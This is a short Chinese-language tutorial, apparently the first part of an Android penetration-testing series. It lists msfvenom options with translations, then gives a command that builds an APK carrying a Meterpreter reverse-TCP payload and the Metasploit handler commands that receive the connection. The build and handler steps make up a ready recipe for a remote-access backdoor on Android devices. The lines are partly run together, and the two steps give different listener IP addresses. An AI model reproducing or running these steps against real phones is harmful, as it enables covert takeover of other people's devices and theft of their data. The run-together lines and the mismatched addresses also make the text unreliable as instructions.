【安卓渗透测试系列教程第一期】如何生成有效载荷

Options:    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload，如果被设置为 - ，那么从标准输入流中读取        --payload-options            List the payload's standard options # 列出指定 Payload 的标准可选配置项    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目，其中值可以被设置为 payloads, encoders, nops, all    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量（译者注：类似堆喷射中通过 nop 滑动到 payload）    -f, --format        <format>     Output format (use --help-formats for a list) # 指定 Payload 的输出格式        --help-formats               List available formats # 列出所有可用的输出格式    -e, --encoder       <encoder>    The encoder to use # 指定使用的 Encoder    -a, --arch          <arch>       The architecture to use # 指定目标系统架构        --platform      <platform>   The platform of the payload # 指定目标系统平台        --help-platforms             List available platforms # 列出可用的平台    -s, --space         <length>     The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度    -b, --bad-chars     <list>       The list of characters to avoid example: 'x00xff' # 设置需要在 Payload 中避免出现的字符    -i, --iterations    <count>      The number of times to encode the payload # 设置 Payload 的编码次数    -c, --add-code      <path>       Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件    -x, --template      <path>       Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板    -k, --keep                       Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能，注入的payload作为一个新的进程运行    -o, --out           <path>       Save the payload # 保存 Payload 到文件    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats # 指定一个变量名（译者注：当添加 -f 参数的时候，例如 -f python，那么输出为 python 代码， payload 会被按行格式化为 python 代码，追加到一个 python 变量中，这个参数即为指定 python 变量的变量名）        --smallest                   Generate the smallest possible payload # 尽可能生成最短的 Payload    -h, --help                       Show this message # 帮助

msfvenom -l payload

msfvenom -l formats

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.196 LPORT=4444 R > android.apk

use exploit/multi/handleset payload android/meterpreter/reverse_tcpset LHOST 192.168.43.126set LPORT 4444

show options

exploit